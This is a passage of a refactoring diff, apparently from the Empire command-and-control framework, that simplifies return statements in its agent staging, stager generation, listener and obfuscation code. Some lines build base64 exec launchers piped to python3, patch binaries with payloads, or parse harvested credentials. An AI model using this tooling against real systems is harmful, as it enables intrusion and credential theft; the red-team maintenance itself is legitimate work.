type.lower() in ["string", "str"] or isinstance(value, str): + if type.lower() in ["string", "str"] or isinstance(value, str): return ValueType.string - elif type.lower() in ["boolean", "bool"] or isinstance(value, bool): + if type.lower() in ["boolean", "bool"] or isinstance(value, bool): return ValueType.boolean - elif type.lower() == "float" or isinstance(value, float): + if type.lower() == "float" or isinstance(value, float): return ValueType.float - elif type.lower() in ["integer", "int"] or isinstance(value, int): + if type.lower() in ["integer", "int"] or isinstance(value, int): return ValueType.integer - else: - return ValueType.string + + return ValueType.string def to_string(value): diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index a2f0c59da..c033fdb7e 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -52,7 +52,7 @@ async def on_connect(sid, environ, auth): user = await get_user_from_token(sid, auth["token"], db) if user: log.info(f"{user.username} connected to socketio") - return + return None except HTTPException: # If a server is restarted and clients are still connected, there are # sometimes token handling errors. We want to reject these since they fail diff --git a/empire/server/common/agents.py b/empire/server/common/agents.py index 76dbff5e3..9f0485964 100644 --- a/empire/server/common/agents.py +++ b/empire/server/common/agents.py @@ -225,19 +225,14 @@ def is_ip_allowed(self, ip_address): """ if self.ipBlackList: if self.ipWhiteList: - results = ( + return ( ip_address in self.ipWhiteList and ip_address not in self.ipBlackList ) - return results - else: - results = ip_address not in self.ipBlackList - return results + return ip_address not in self.ipBlackList if self.ipWhiteList: - results = ip_address in self.ipWhiteList - return results - else: - return True + return ip_address in self.ipWhiteList + return True def save_file( # noqa: PLR0913 self, @@ -371,7 +366,7 @@ def save_module_file(self, sessionID, path, data, language: str): if not str(os.path.normpath(save_file)).startswith(str(safe_path)): message = f"agent {sessionID} attempted skywalker exploit!\n[!] attempted overwrite of {path} with data {data}" log.warning(message) - return + return None # make the recursive directory structure if it doesn't already exist if not save_path.exists(): @@ -444,9 +439,7 @@ def get_agents_db(self): Return all active agents from the database. """ with SessionLocal() as db: - results = db.query(models.Agent).all() - - return results + return db.query(models.Agent).all() def get_agent_nonce_db(self, session_id, db: Session): """ @@ -467,8 +460,8 @@ def get_agent_nonce_db(self, session_id, db: Session): if nonce and nonce is not None: if isinstance(nonce, str): return nonce - else: - return nonce[0] + return nonce[0] + return None def get_language_db(self, session_id): """ @@ -486,14 +479,12 @@ def get_language_db(self, session_id): if name_id: session_id = name_id - language = ( + return ( db.query(models.Agent.language) .filter(models.Agent.session_id == session_id) .scalar() ) - return language - def get_agent_id_db(self, name, db: Session = None): """ Get an agent sessionID based on the name. @@ -553,9 +544,7 @@ def get_autoruns_db(self): results = db.query(models.Config.autorun_data).all() autorun_data = results[0].autorun_data if results[0].autorun_data else "" - autoruns = [autorun_command, autorun_data] - - return autoruns + return [autorun_command, autorun_data] def update_dir_list(self, session_id, response, db: Session): """ " @@ -753,22 +742,22 @@ def get_queued_agent_tasks_db(self, session_id, db: Session): if session_id not in self.agents: log.error(f"Agent {session_id} not active.") return [] - else: - try: - tasks, total = self.mainMenu.agenttasksv2.get_tasks( - db=db, - agents=[session_id], - include_full_input=True, - status=AgentTaskStatus.queued, - ) - for task in tasks: - task.status = AgentTaskStatus.pulled + try: + tasks, total = self.mainMenu.agenttasksv2.get_tasks( + db=db, + agents=[session_id], + include_full_input=True, + status=AgentTaskStatus.queued, + ) + + for task in tasks: + task.status = AgentTaskStatus.pulled - return tasks - except AttributeError: - log.warning("Agent checkin during initialization.") - return [] + return tasks + except AttributeError: + log.warning("Agent checkin during initialization.") + return [] def get_queued_agent_temporary_tasks(self, session_id): """ @@ -777,15 +766,11 @@ def get_queued_agent_temporary_tasks(self, session_id): if session_id not in self.agents: log.error(f"Agent {session_id} not active.") return [] - else: - try: - tasks = self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent( - session_id - ) - return tasks - except AttributeError: - log.warning("Agent checkin during initialization.") - return [] + try: + return self.mainMenu.agenttasksv2.get_temporary_tasks_for_agent(session_id) + except AttributeError: + log.warning("Agent checkin during initialization.") + return [] ############################################################### # @@ -816,7 +801,7 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 # step 1 of negotiation -> client requests staging code return "STAGE0" - elif meta == "STAGE1": + if meta == "STAGE1": # step 3 of negotiation -> client posts public key message = f"Agent {sessionID} from {clientIP} posted public key" log.info(message) @@ -880,11 +865,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 data = data.encode("ascii", "ignore") # step 4 of negotiation -> server returns RSA(nonce+AESsession)) - encrypted_msg = encryption.rsa_encrypt(rsa_key, data) + return encryption.rsa_encrypt(rsa_key, data) # TODO: wrap this in a routing packet! - return encrypted_msg - else: message = f"Agent {sessionID} returned an invalid PowerShell public key!" log.error(message) @@ -942,11 +925,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 # step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs)) data = f"{nonce}{serverPub.publicKey}" - encrypted_msg = encryption.aes_encrypt_then_hmac(stagingKey, data) + return encryption.aes_encrypt_then_hmac(stagingKey, data) # TODO: wrap this in a routing packet? - return encrypted_msg - else: message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}" log.info(message) @@ -1078,8 +1059,9 @@ def handle_agent_staging( # noqa: PLR0912 PLR0915 PLR0913 PLR0911 else: message = f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}" log.error(message) + return None - def handle_agent_data( # noqa: PLR0913 + def handle_agent_data( self, stagingKey, routingPacket, @@ -1294,7 +1276,7 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False): log.error(message, exc_info=True) return None - def process_agent_packet( # noqa: PLR0912 PLR0915 PLR0913 + def process_agent_packet( # noqa: PLR0912 PLR0915 self, session_id, response_name, task_id, data, db: Session ): """ diff --git a/empire/server/common/encryption.py b/empire/server/common/encryption.py index 69cf8bcd9..3cfe9a4a4 100644 --- a/empire/server/common/encryption.py +++ b/empire/server/common/encryption.py @@ -101,9 +101,8 @@ def rsa_xml_to_key(xml): rsa_key_value.getElementsByTagName("Exponent")[0].childNodes ) - key = RSA.construct((modulus, exponent)) + return RSA.construct((modulus, exponent)) - return key # if there's an XML parsing error, return None except Exception: return None @@ -123,8 +122,7 @@ def rsa_encrypt(key, data): Take a key object and use it to encrypt the passed data. """ pubkey = PKCS1_v1_5.new(key) - enc_data = pubkey.encrypt(data) - return enc_data + return pubkey.encrypt(data) def aes_encrypt(key, data): @@ -168,8 +166,8 @@ def aes_decrypt(key, data): IV = data[0:16] cipher = Cipher(algorithms.AES(key), modes.CBC(IV), backend=backend) decryptor = cipher.decryptor() - pt = depad(decryptor.update(data[16:]) + decryptor.finalize()) - return pt + return depad(decryptor.update(data[16:]) + decryptor.finalize()) + return None def verify_hmac(key, data): @@ -189,8 +187,8 @@ def verify_hmac(key, data): hmac.new(key, expected, digestmod=hashlib.sha256).digest() == hmac.new(key, mac, digestmod=hashlib.sha256).digest() ) - else: - return False + + return False def aes_decrypt_and_verify(key, data): @@ -242,8 +240,7 @@ def rc4(key, data): char = ord(char) # noqa: PLW2901 out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode("latin-1")) # out = str(out) - tmp = b"".join(out) - return tmp + return b"".join(out) class DiffieHellman: @@ -304,9 +301,9 @@ def getPrime(self, group=17): if group in list(primes.keys()): return primes[group] - else: - log.error(f"Error: No prime with group {group:d}. Using default.") - return primes[default_group] + + log.error(f"Error: No prime with group {group:d}. Using default.") + return primes[default_group] def genRandom(self, bits): """ @@ -354,10 +351,8 @@ def genSecret(self, privateKey, otherKey): private key to generate a shared secret. """ if self.checkPublicKey(otherKey) is True: - sharedSecret = pow(otherKey, privateKey, self.prime) - return sharedSecret - else: - raise Exception("Invalid public key.") + return pow(otherKey, privateKey, self.prime) + raise Exception("Invalid public key.") def genKey(self, otherKey): """ diff --git a/empire/server/common/helpers.py b/empire/server/common/helpers.py index 579f168ed..fbedd56f4 100644 --- a/empire/server/common/helpers.py +++ b/empire/server/common/helpers.py @@ -109,8 +109,7 @@ def random_string(length=-1, charset=string.ascii_letters): """ if length == -1: length = random.randrange(6, 16) - random_string = "".join(random.choice(charset) for x in range(length)) - return random_string + return "".join(random.choice(charset) for x in range(length)) def obfuscate_call_home_address(data): @@ -172,11 +171,10 @@ def enc_powershell(raw): """ Encode a PowerShell command into a form usable by powershell.exe -enc ... """ - tmp = base64.b64encode(raw.encode("UTF-16LE")) + return base64.b64encode(raw.encode("UTF-16LE")) # tmp = raw # tmp = bytes("".join([str(char) + "\x00" for char in raw]), "UTF-16LE") # tmp = base64.b64encode(tmp) - return tmp def powershell_launcher(raw, modifiable_launcher): @@ -207,7 +205,7 @@ def strip_powershell_comments(data): strippedCode = re.sub(re.compile("<#.*?#>", re.DOTALL), "\n", data) # strip blank lines, lines starting with #, and verbose/debug statements - strippedCode = "\n".join( + return "\n".join( [ line for line in strippedCode.split("\n") @@ -220,8 +218,6 @@ def strip_powershell_comments(data): ] ) - return strippedCode - #################################################################################### # @@ -400,7 +396,7 @@ def parse_credentials(data): return parse_mimikatz(data) # powershell/collection/prompt output - elif parts[0].startswith(b"[+] Prompted credentials:"): + if parts[0].startswith(b"[+] Prompted credentials:"): parts = parts[0].split(b"->") if len(parts) == 2: # noqa: PLR2004 username = parts[1].split(b":", 1)[0].strip() @@ -414,9 +410,8 @@ def parse_credentials(data): return [("plaintext", domain, username, password, "", "")] - else: - log.error("Error in parsing prompted credential output.") - return None + log.error("Error in parsing prompted credential output.") + return None # python/collection/prompt (Mac OS) elif b"text returned:" in parts[0]: @@ -424,6 +419,7 @@ def parse_credentials(data): if len(parts2) >= 2: # noqa: PLR2004 password = parts2[-1] return [("plaintext", "", "", password, "", "")] + return None else: return None @@ -593,16 +589,13 @@ def get_file_size(file): byte_size = sys.getsizeof(file) kb_size = old_div(byte_size, 1024) if kb_size == 0: - byte_size = f"{byte_size} Bytes" - return byte_size + return f"{byte_size} Bytes" mb_size = old_div(kb_size, 1024) if mb_size == 0: - kb_size = f"{kb_size} KB" - return kb_size + return f"{kb_size} KB" gb_size = old_div(mb_size, 1024) % (mb_size) if gb_size == 0: - mb_size = f"{mb_size} MB" - return mb_size + return f"{mb_size} MB" return f"{gb_size} GB" @@ -671,20 +664,19 @@ def color(string, color=None): attr.append("34") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[!]"): + if string.strip().startswith("[!]"): attr.append("31") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[+]"): + if string.strip().startswith("[+]"): attr.append("32") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[*]"): + if string.strip().startswith("[*]"): attr.append("34") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - elif string.strip().startswith("[>]"): + if string.strip().startswith("[>]"): attr.append("33") return "\x1b[{}m{}\x1b[0m".format(";".join(attr), string) - else: - return string + return string def unique(seq, idfun=None): @@ -740,8 +732,7 @@ def decode_base64(data): data += b"=" * missing_padding try: - result = base64.decodebytes(data) - return result + return base64.decodebytes(data) except binascii.Error: # if there's a decoding error, just return the data return data @@ -779,8 +770,7 @@ def __run(self): def globaltrace(self, frame, why, arg): if why == "call": return self.localtrace - else: - return None + return None def localtrace(self, frame, why, arg): if self.killed and why == "line": diff --git a/empire/server/common/packets.py b/empire/server/common/packets.py index 75935862e..f68facf06 100644 --- a/empire/server/common/packets.py +++ b/empire/server/common/packets.py @@ -417,8 +417,7 @@ def build_routing_packet( # noqa: PLR0913 if isinstance(encData, str) and sys.version[0] != "2": encData = encData.encode("Latin-1") - packet = RC4IV + rc4EncData + encData - return packet + return RC4IV + rc4EncData + encData def resolve_id(PacketID): diff --git a/empire/server/common/stagers.py b/empire/server/common/stagers.py index 9ec7facb3..ecf9e1c3c 100755 --- a/empire/server/common/stagers.py +++ b/empire/server/common/stagers.py @@ -59,8 +59,8 @@ def generate_launcher_fetcher( ) if encode: return helpers.powershell_launcher(stager, launcher) - else: - return stager + + return stager def generate_launcher( # noqa: PLR0913 self, @@ -115,6 +115,7 @@ def generate_launcher( # noqa: PLR0913 ) if launcher_code: return launcher_code + return None def generate_dll(self, poshCode, arch): """ @@ -141,16 +142,15 @@ def generate_dll(self, poshCode, arch): # patch the dll with the new PowerShell code searchString = (("Invoke-Replace").encode("UTF-16"))[2:] index = dllRaw.find(searchString) - dllPatched = ( + return ( dllRaw[:index] + replacementCode + dllRaw[(index + len(replacementCode)) :] ) - return dllPatched - else: log.error(f"Original .dll for arch {arch} does not exist!") + return None def generate_powershell_exe( self, posh_code, dot_net_version="net40", obfuscate=False @@ -178,8 +178,7 @@ def generate_powershell_exe( stager_yaml, "CSharpPS", confuse=obfuscate ) - directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" - return directory + return f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" def generate_powershell_shellcode( self, posh_code, arch="both", dot_net_version="net40" @@ -204,7 +203,7 @@ def generate_powershell_shellcode( shellcode = donut.create(file=directory, arch=arch_type) return shellcode, None - def generate_exe_oneliner( # noqa: PLR0913 + def generate_exe_oneliner( self, language, obfuscate, obfuscation_command, encode, listener_name ): """ @@ -245,9 +244,8 @@ def generate_exe_oneliner( # noqa: PLR0913 (not obfuscate) or ("launcher" not in obfuscation_command.lower()) ): return helpers.powershell_launcher(launcher, launcher_front) - else: - # otherwise return the case-randomized stager - return launcher + # otherwise return the case-randomized stager + return launcher def generate_python_exe( self, python_code, dot_net_version="net40", obfuscate=False @@ -275,8 +273,7 @@ def generate_python_exe( stager_yaml, "CSharpPy", confuse=obfuscate ) - directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" - return directory + return f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{file_name}.exe" def generate_python_shellcode( self, posh_code, arch="both", dot_net_version="net40" @@ -343,13 +340,10 @@ def generate_macho(self, launcherCode): ) launcherCode = base64.urlsafe_b64encode(launcherCode.encode("utf-8")) launcher = launcherCode + b"\x00" * (placeHolderSz - len(launcherCode)) - patchedMachO = ( - template[:offset] + launcher + template[(offset + len(launcher)) :] - ) + return template[:offset] + launcher + template[(offset + len(launcher)) :] - return patchedMachO - else: - log.error("Unable to patch MachO binary") + log.error("Unable to patch MachO binary") + return None def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 """ @@ -399,15 +393,14 @@ def generate_dylib(self, launcherCode, arch, hijacker): # noqa: PLR0912 launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode)) if isinstance(launcher, str): launcher = launcher.encode("UTF-8") - patchedDylib = b"".join( + return b"".join( [template[:offset], launcher, template[(offset + len(launcher)) :]] ) - return patchedDylib - else: - log.error("Unable to patch dylib") + log.error("Unable to patch dylib") + return None - def generate_appbundle( # noqa: PLR0915, PLR0913, PLR0912 + def generate_appbundle( # noqa: PLR0915, PLR0912 self, launcherCode, Arch, icon, AppName, disarm ): """ @@ -567,8 +560,8 @@ def generate_appbundle( # noqa: PLR0915, PLR0913, PLR0912 os.remove("/tmp/launcher.zip") return zipbundle - else: - log.error("Unable to patch application") + log.error("Unable to patch application") + return None def generate_pkg(self, launcher, bundleZip, AppName): # unzip application bundle zip. Copy everything for the installer pkg to a temporary location @@ -654,8 +647,6 @@ def generate_jar(self, launcherCode): except OSError as e: if e.errno != errno.EEXIST: raise - else: - pass with open(jarpath + "Run.java", "w") as f: f.write(javacode) @@ -696,9 +687,7 @@ def generate_upload(self, file, path): file_encoded = base64.b64encode(file).decode("UTF-8") script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded) - script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path) - - return script + return script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path) def generate_stageless(self, options): listener_name = options["Listener"]["Value"] @@ -778,10 +767,9 @@ def generate_stageless(self, options): if options["Language"]["Value"] == "powershell": launch_code = f"\nInvoke-Empire -Servers @('{host}') -StagingKey '{staging_key}' -SessionKey '{session_key}' -SessionID '{session_id}' -WorkingHours '{working_hours}' -KillDate '{kill_date}';" - full_agent = comms_code + "\n" + agent_code + "\n" + launch_code - return full_agent + return comms_code + "\n" + agent_code + "\n" + launch_code - elif options["Language"]["Value"] in ["python", "ironpython"]: + if options["Language"]["Value"] in ["python", "ironpython"]: stager_code = stager_code.replace( "return b''.join(random.choice(string.ascii_uppercase + string.digits).encode('UTF-8') for _ in range(8))", f"return b'{session_id}'", @@ -797,6 +785,7 @@ def generate_stageless(self, options): else: full_agent = "\n".join([agent_code, stager_code, launch_code]) return full_agent + return None def replace_execute_function(code, session_key): diff --git a/empire/server/core/agent_service.py b/empire/server/core/agent_service.py index 9ec468667..5cb2ad63f 100644 --- a/empire/server/core/agent_service.py +++ b/empire/server/core/agent_service.py @@ -38,9 +38,7 @@ def get_all( if not include_stale: query = query.filter(models.Agent.stale == False) # noqa: E712 - agents = query.all() - - return agents + return query.all() @staticmethod def get_by_id(db: Session, uid: str): diff --git a/empire/server/core/agent_task_service.py b/empire/server/core/agent_task_service.py index abb2d89f7..4e2ac6e00 100644 --- a/empire/server/core/agent_task_service.py +++ b/empire/server/core/agent_task_service.py @@ -145,7 +145,7 @@ def get_temporary_tasks_for_agent(self, agent_id: str, clear: bool = True): return tasks - def create_task_shell( # noqa: PLR0913 + def create_task_shell( self, db: Session, agent: models.Agent, @@ -157,7 +157,7 @@ def create_task_shell( # noqa: PLR0913 command = f"shell {command}" return self.add_task(db, agent, "TASK_SHELL", command, user_id=user_id) - def create_task_upload( # noqa: PLR0913 + def create_task_upload( self, db: Session, agent: models.Agent, file_data: str, directory: str, user_id ): data = f"{directory}|{file_data}" @@ -252,7 +252,7 @@ def create_task_update_comms( db, agent, "TASK_SWITCH_LISTENER", new_comms, user_id=user_id ) - def create_task_update_sleep( # noqa: PLR0913 + def create_task_update_sleep( self, db: Session, agent: models.Agent, delay: int, jitter: float, user_id: int ): agent.delay = delay @@ -265,7 +265,7 @@ def create_task_update_sleep( # noqa: PLR0913 f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) - elif agent.language in ["python", "ironpython"]: + if agent.language in ["python", "ironpython"]: return self.add_task( db, agent, @@ -273,7 +273,7 @@ def create_task_update_sleep( # noqa: PLR0913 f"global delay; global jitter; delay={delay}; jitter={jitter}; print('delay/jitter set to {delay}/{jitter}')", user_id=user_id, ) - elif agent.language == "csharp": + if agent.language == "csharp": return self.add_task( db, agent, @@ -281,8 +281,8 @@ def create_task_update_sleep( # noqa: PLR0913 f"Set-Delay {delay!s} {jitter!s}", user_id=user_id, ) - else: - return None, "Unsupported language." + + return None, "Unsupported language." def create_task_update_kill_date( self, db: Session, agent: models.Agent, kill_date: str, user_id: int diff --git a/empire/server/core/db/defaults.py b/empire/server/core/db/defaults.py index c0c385767..ded263f53 100644 --- a/empire/server/core/db/defaults.py +++ b/empire/server/core/db/defaults.py @@ -89,13 +89,13 @@ def get_staging_key(): ) if choice not in ("", "RANDOM"): return hashlib.md5(choice.encode("utf-8")).hexdigest() + return None - elif staging_key == "RANDOM": + if staging_key == "RANDOM": log.info("Generating random staging key") return "".join( random.sample(string.ascii_letters + string.digits + punctuation, 32) ) - else: - log.info("Using configured staging key: {staging_key}") - return staging_key + log.info("Using configured staging key: {staging_key}") + return staging_key diff --git a/empire/server/core/db/models.py b/empire/server/core/db/models.py index e521ee1c6..33f151cc6 100644 --- a/empire/server/core/db/models.py +++ b/empire/server/core/db/models.py @@ -264,12 +264,12 @@ def _stale_expression(cls): func.julianday(utcnow()) - func.julianday(cls.lastseen_time) ) * 86400.0 return seconds_elapsed > threshold - else: - diff = func.timestampdiff( - text("SECOND"), cls.lastseen_time, func.utc_timestamp() - ) - threshold = 30 + cls.delay + cls.delay * cls.jitter - return diff > threshold + + diff = func.timestampdiff( + text("SECOND"), cls.lastseen_time, func.utc_timestamp() + ) + threshold = 30 + cls.delay + cls.delay * cls.jitter + return diff > threshold def __repr__(self): return f"" diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py index 222dbfbd0..66b48f6cd 100644 --- a/empire/server/core/download_service.py +++ b/empire/server/core/download_service.py @@ -115,7 +115,7 @@ def get_all( # noqa: PLR0913 PLR0912 return results, total - def create_download_from_text( # noqa: PLR0913 + def create_download_from_text( self, db: Session, user: models.User, diff --git a/empire/server/core/hooks.py b/empire/server/core/hooks.py index 30e5cc79b..b274e8abb 100644 --- a/empire/server/core/hooks.py +++ b/empire/server/core/hooks.py @@ -121,7 +121,7 @@ def run_filters(self, event: str, *args): The output of each filter is passed into the next filter. """ if event not in self.filters: - return + return None for filter in self.filters.get(event, {}).values(): if not isinstance(args, tuple): args = (args,) diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index b3d18a4cb..89999ffa0 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -64,6 +64,7 @@ def get_active_listener_by_name(self, name: str): for listener in self._active_listeners.values(): if listener.options["Name"]["Value"] == name: return listener + return None def update_listener(self, db: Session, db_listener: models.Listener, listener_req): if listener_req.name != db_listener.name: @@ -142,8 +143,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener): self._active_listeners[listener.id] = template_instance log.info(f'Listener "{listener.name}" successfully started') return listener, None - else: - return None, f'Listener "{listener.name}" failed to start' + return None, f'Listener "{listener.name}" failed to start' def start_existing_listeners(self): with SessionLocal.begin() as db: @@ -162,31 +162,31 @@ def _start_listener(self, db: Session, template_instance, template_name): log.info(f"v2: Starting listener '{name}'") success = template_instance.start() - if success: - listener_options = copy.deepcopy(template_instance.options) + if not success: + msg = f"Failed to start listener '{name}'" + log.error(msg) + return None, msg - # in a breaking change we could just store a str,str dict for the options. - # we don't add the listener to the db unless it successfully starts. Makes it a problem when trying - # to split this out. - db_listener = models.Listener( - name=name, - module=template_name, - listener_category=category, - enabled=True, - options=listener_options, - ) + listener_options = copy.deepcopy(template_instance.options) + + # in a breaking change we could just store a str,str dict for the options. + # we don't add the listener to the db unless it successfully starts. Makes it a problem when trying + # to split this out. + db_listener = models.Listener( + name=name, + module=template_name, + listener_category=category, + enabled=True, + options=listener_options, + ) - db.add(db_listener) - db.flush() + db.add(db_listener) + db.flush() - log.info(f'Listener "{name}" successfully started') - self._active_listeners[db_listener.id] = template_instance + log.info(f'Listener "{name}" successfully started') + self._active_listeners[db_listener.id] = template_instance - return db_listener, None - else: - msg = f"Failed to start listener '{name}'" - log.error(msg) - return None, msg + return db_listener, None except Exception as e: msg = f"Failed to start listener '{name}': {e}" diff --git a/empire/server/core/module_service.py b/empire/server/core/module_service.py index bbff4e819..f30d6ccce 100644 --- a/empire/server/core/module_service.py +++ b/empire/server/core/module_service.py @@ -306,7 +306,7 @@ def _validate_module_params( # noqa: PLR0913 return options, None - def _generate_script( + def _generate_script( # noqa: PLR0911 self, db: Session, module: EmpireModule, @@ -361,6 +361,7 @@ def _generate_script( db, LanguageEnum.csharp ) return self._generate_script_bof(module, params, obfuscation_config) + return None def _generate_script_bof( self, @@ -480,15 +481,13 @@ def _generate_script_powershell( ) # obfuscate the invoke command and append to script - script = self.finalize_module( + return self.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscate_command, ) - return script - def _generate_script_csharp( self, module: EmpireModule, @@ -686,23 +685,21 @@ def get_module_source( return obfuscated_module_code, None # If pre-obfuscated module does not exist then generate obfuscated code and return it - else: - module_source = empire_config.directories.module_source - module_path = os.path.join(module_source, module_name) - with open(module_path) as f: - module_code = f.read() - obfuscated_module_code = self.obfuscation_service.obfuscate( - module_code, obfuscate_command - ) - return obfuscated_module_code, None - - # Use regular/unobfuscated code - else: module_source = empire_config.directories.module_source module_path = os.path.join(module_source, module_name) with open(module_path) as f: module_code = f.read() - return module_code, None + obfuscated_module_code = self.obfuscation_service.obfuscate( + module_code, obfuscate_command + ) + return obfuscated_module_code, None + + # Use regular/unobfuscated code + module_source = empire_config.directories.module_source + module_path = os.path.join(module_source, module_name) + with open(module_path) as f: + module_code = f.read() + return module_code, None except Exception: return None, f"[!] Could not read module source path at: {module_source}" @@ -723,8 +720,7 @@ def finalize_module( script += script_end if obfuscate: script = self.obfuscation_service.obfuscate(script, obfuscation_command) - script = self.obfuscation_service.obfuscate_keywords(script) - return script + return self.obfuscation_service.obfuscate_keywords(script) @staticmethod def slugify(module_name: str): @@ -770,13 +766,11 @@ def wrapper(*args, **kwargs): obfuscate = args[3] obfuscation_command = args[4] - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script - return wrapper diff --git a/empire/server/core/obfuscation_service.py b/empire/server/core/obfuscation_service.py index 532e5c65a..fd1053ce5 100644 --- a/empire/server/core/obfuscation_service.py +++ b/empire/server/core/obfuscation_service.py @@ -109,6 +109,7 @@ def preobfuscate_modules(self, language: str, reobfuscate=False): f"{os.path.basename(file)} was already obfuscated. Not reobfuscating." ) self.obfuscate_module(file, db_obf_config.command, reobfuscate) + return None # this is still written in a way that its only used for PowerShell # to make it work for other languages, we probably want to just pass in the db_obf_config @@ -117,7 +118,7 @@ def obfuscate_module( self, module_source, obfuscation_command="", force_reobfuscation=False ): if self._is_obfuscated(module_source) and not force_reobfuscation: - return + return None try: with open(module_source) as f: @@ -176,9 +177,7 @@ def obfuscate(self, ps_script, obfuscation_command): # Obfuscation writes a newline character to the end of the file, ignoring that character obfuscatedFile.seek(0) - ps_script = obfuscatedFile.read()[0:-1] - - return ps_script + return obfuscatedFile.read()[0:-1] def remove_preobfuscated_modules(self, language: str): """ @@ -250,8 +249,4 @@ def python_obfuscate(self, module_source): Obfuscate Python scripts using python-obfuscator """ obfuscator = python_obfuscator.obfuscator() - obfuscated_code = obfuscator.obfuscate( - module_source, [one_liner, variable_renamer] - ) - - return obfuscated_code + return obfuscator.obfuscate(module_source, [one_liner, variable_renamer]) diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 72b4cdb76..0b2e22f4b 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -365,10 +365,10 @@ def generate_launcher( launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( "UTF-8" ) - launcher = f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" - return launcher + return f"echo \"import sys,base64;exec(base64.b64decode('{launchEncoded}'));\" | python3 &" else: return launcherBase + return None def generate_stager( self, @@ -491,6 +491,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -591,6 +592,7 @@ def generate_agent( log.error( "[!] listeners/dbx generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -626,8 +628,7 @@ def generate_comms(self, listenerOptions, language=None): "results_folder": resultsFolder, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -643,15 +644,16 @@ def generate_comms(self, listenerOptions, language=None): "results_folder": resultsFolder, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/dbx generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/dbx generate_comms(): no language specified!") + return None def start_server(self, listenerOptions): """ @@ -811,7 +813,7 @@ def delete_file(dbx, path): f"{listenerName}: Error uploading stager to '{stagingFolder}/stager'" ) self.instance_log.error(message, exc_info=True) - return + return None while True: time.sleep(int(pollInterval)) diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index 7834f2d3c..17d460d8b 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -481,8 +481,7 @@ def generate_launcher( ) if isinstance(launchEncoded, bytes): launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher + return f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" else: return launcherBase @@ -514,16 +513,17 @@ def generate_launcher( self.instance_log.error( f"{listenerName} csharpserver plugin not running" ) + return None else: - file_name = compiler.do_send_stager( + return compiler.do_send_stager( stager_yaml, "Sharpire", confuse=obfuscate ) - return file_name else: self.instance_log.error( f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_stager( self, @@ -656,6 +656,7 @@ def generate_stager( log.error( "listeners/http generate_stager(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None def generate_agent( self, @@ -740,12 +741,12 @@ def generate_agent( return code elif language == "csharp": # currently the agent is stagless so do nothing - code = "" - return code + return "" else: log.error( "listeners/http generate_agent(): invalid language specification, only 'powershell', 'python', & 'csharp' are currently supported for this module." ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -770,8 +771,7 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) elif language.lower() == "python": template_path = [ @@ -786,15 +786,16 @@ def generate_comms(self, listenerOptions, language=None): "host": host, } - comms = template.render(template_options) - return comms + return template.render(template_options) else: log.error( "listeners/http generate_comms(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." ) + return None else: log.error("listeners/http generate_comms(): no language specified!") + return None def start_server(self, 